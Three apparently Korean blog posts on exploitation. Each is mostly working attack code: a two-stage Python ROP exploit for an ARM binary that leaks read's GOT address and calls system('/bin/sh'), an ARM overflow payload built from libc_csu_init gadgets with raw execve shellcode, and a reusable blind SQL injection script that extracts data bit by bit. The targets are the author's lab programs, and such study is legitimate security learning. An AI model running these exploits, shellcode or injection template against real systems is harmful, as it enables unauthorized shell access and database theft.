>

#include<stdio.h>

int vuln()

{

char buf[20];

read(0,buf,128);

return write(1,"wow\n",4);

}

int main()

{

vuln();

return 0;

}

쓰인 바이너리의 소스코드이다. 척 봐도 오버플로우 취약점이 보인다.


이번에는 쉘코드 말고 ROP로 익스플로잇을 해봤다. 일부러 사용할 수 있는 공간을 128로 제약을 두고 했는데 바이너리 내에 유용한 가젯들이 있어서 충분히 익스플로잇이 가능했다.

우선 read 함수의 GOT를 출력시켜 read 함수의 실제 주소를 구하고 취약점이 일어나는 vuln 함수를 다시 호출시킨다. 얻은 read 함수를 이용해 system 함수 주소를 계산하고 사용한다. 이 때 system 함수에서 쓰이는 /bin/sh 문자열은 라이브러리 내의 있는 문자열로 쓴다. 마찬가지로 /bin/sh 문자열과 system 주소 사이의 오프셋도 계산한다. 

이렇게 2번의 스테이지로 익스플로잇을 할 수 있다.


#!/usr/bin/python


from socket import *

from struct import pack,unpack

import telnetlib

import time


p = lambda x :pack("<L",x)

up = lambda x:unpack("<L",x)[0]

host = "localhost"

port = 4444


gadget1 = 0x844a # pop r3-r9, pc

gadget2 = 0x8438 # bx [r5]

gadget3 = 0x8410 # mov r0,r3; pop r7,pc

gadget4 = 0x83c2 # pop r3,pc

gadget5 = 0x83c0 # blx r3;pop r3,pc


read_got = 0x10584

write_got = 0x10590

read_plt = 0x8314

vulnfunc = 0x83cc

s = create_connection((host,port))


payload = ""

payload += "a"*24

payload += p(gadget1+1)

payload += "bbbb" # r3

payload += p(0) # r4

payload += p(write_got) # r5

payload += p(1) # r6

payload += p(read_got) # r7

payload += p(4) # r8

payload += p(1) # r9

payload += p(gadget2+1) # write(1,read_got,4)

payload += "dddd"*7

payload += p(vulnfunc+1)


print len(payload)


raw_input()

s.send(payload)

s.recv(4)

time.sleep(0.3)

read_addr = up(s.recv(4))

system_addr = read_addr - 0x5B588

shellstring = system_addr + 0x9D044

print hex(read_addr)

print hex(shellstring)


payload2 = ""

payload2 += "j"*24

payload2 += p(gadget4+1)

payload2 += p(shellstring)

payload2 += p(gadget3+1)

payload2 += "aaaa"

payload2 += p(system_addr+1)

time.sleep(0.3)

s.send(payload2)

t = telnetlib.Telnet(host,port)

t.sock = s

t.interact()

위는 익스플로잇 코드이다. 잘 작동된다.



오예

'Research' 카테고리의 다른 글

쉘코드 수신 쉘코드  (0) 2015.09.12
arm exploitation using shellcode  (0) 2015.02.21
blind sql injection script template  (1) 2015.02.20
UAF에 대한 고찰  (1) 2014.03.09
Posted by Mungsul
,

#환경 :  armv7 debian, rwx, random stack

#include<stdio.h>


int main(char argc, char *argv[])

{

char buf[16];

read(0,buf,255);

return 0;

}

공략할 프로그램의 소스이다. 주석에 써놨듯이 arm환경이다. 그리고 쉘코드를 실행시키기 위해 메모리에 rwx 권한을 주었다. 랜덤스택이기 때문에 read함수 재호출을 해서 권한 있는 메모리에 쉘코드를 넣어두고 그 곳으로 뛰는 식의 공격을 할 것이다.

arm의 특징은 함수 호출 규약이 x64처럼 레지스터를 이용한다는 것인데, 이 특성때문에 x86처럼 스택기반의 ROP같은 공격이 조금 어렵다.

물론 불가능한 것은 아니다. 리눅스 바이너리에 공통적으로 박혀있는 libc_csu_init 이 함수 쪽의 가젯을 이용하면 스택을 통한 함수 호출이 가능하다.(정확히는 스택의 값을 레지스터에 때려박고 레지스터 참조로 함수호출을 함)

libc_csu_init을 알게된건 pwnable.kr 워게임을 풀면서 x64 exploitation을 공부하다가 같이 공부하는 형한테 배웠다.

x64와 비슷한 특징을 갖고 있으니 arm에서도 libc_csu_init을 사용할 수 있지 않을까 했는데 결론은 충분히 가능했다. (나만 모르고 다른사람들은 이미 알았을 수도 있다.)

<libc_csu_init>

위 사진의 POP.W {R3-R9,PC} 가젯은 스택의 값을 R3부터 R9 그리고 PC까지 넣어준다. 이걸로 레지스터를 바꿔주고 PC부분은 LDR.W R3, [R5],#4 로 맞춰준다. 그러면 BLX R3 구문 덕에 원하는 함수를 호출할 수 있다. CMP R4, R9 명령이 있으니 R4와 R9를 같게 설정해주면 계속해서 체이닝이 가능하다.

요약하자면 다음과 같다.

R3 : 쩌리 => 어차피 후에 [R5]값이 불러와짐

R4 : R9 -1 

R5 : 호출할 함수의 포인터 => 주로 GOT

R6: 첫번째 인자 => R0

R7: 두번째 인자 => R1

R8: 세번째 인자 => R2

R9: 1로 설정하면 편하다


간혹 arm 인스트럭션이 제대로 실행이 안될때가 있는데 그럴때는 명령주소+1을 잡아주면 실행이 잘 된다.


(python -c 'print "a"*20 + "\x0b\x84\x00\x00" + "bbbb\x00\x00\x00\x00\x3c\x05\x01\x00\x00\x00\x00\x00\x60\x05\x01\x00\x64\x00\x00\x00\x01\x00\x00\x00\xf9\x83\x00\x00aaaabbbbccccddddeeeeffffgggg\x60\x05\x01\x00"';python -c 'print "\x00\xbf"*10 + "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x00"';cat)|./bof_arm

완성된 페이로드이다. 주요부분만 요약하면 

R5: read 함수 GOT

R6: 첫번째 인자 => 디스크립터니까 stdin인 0으로 넣어준다

R7: 두번째 인자 => BSS 영역

R7: 세번째 인자 => length

그리고 나중에 쉘코드가 들어간 부분으로 pc를 맞춰주면 쉘이 실행된다.




'Research' 카테고리의 다른 글

쉘코드 수신 쉘코드  (0) 2015.09.12
arm exploitation using ROP  (0) 2015.02.26
blind sql injection script template  (1) 2015.02.20
UAF에 대한 고찰  (1) 2014.03.09
Posted by Mungsul
,

#!/usr/bin/python
import urllib2,urllib,time
target = ""
x = 0
answer = ""
while 1:
	x +=1
	ch = 0
	for i in range(1,8):
		url =
		att = "' or id='admin' and substr((select lpad(bin(ascii(substr(("+target+"),"+str(x)+",1))),7,0)),"+str(i)+",1)=1#"
		att = urllib.quote(att)
		url += att
		req = urllib2.Request(url)
		result = urllib2.urlopen(req).read()
		if result.find("Hello admin") > -1:
			ch += 2**(7-i)
		else:
			pass
	if ch == 0:
		break
	else:
		answer += chr(ch)
	print ":) : "+ answer
print "END : ",answer

지금은 bit연산을 이용하는 형태인데 언제든 변경할 수 있음. 유동적으로 사용하는 것이 더 나을것 같다. 



'Research' 카테고리의 다른 글

쉘코드 수신 쉘코드  (0) 2015.09.12
arm exploitation using ROP  (0) 2015.02.26
arm exploitation using shellcode  (0) 2015.02.21
UAF에 대한 고찰  (1) 2014.03.09
Posted by Mungsul
,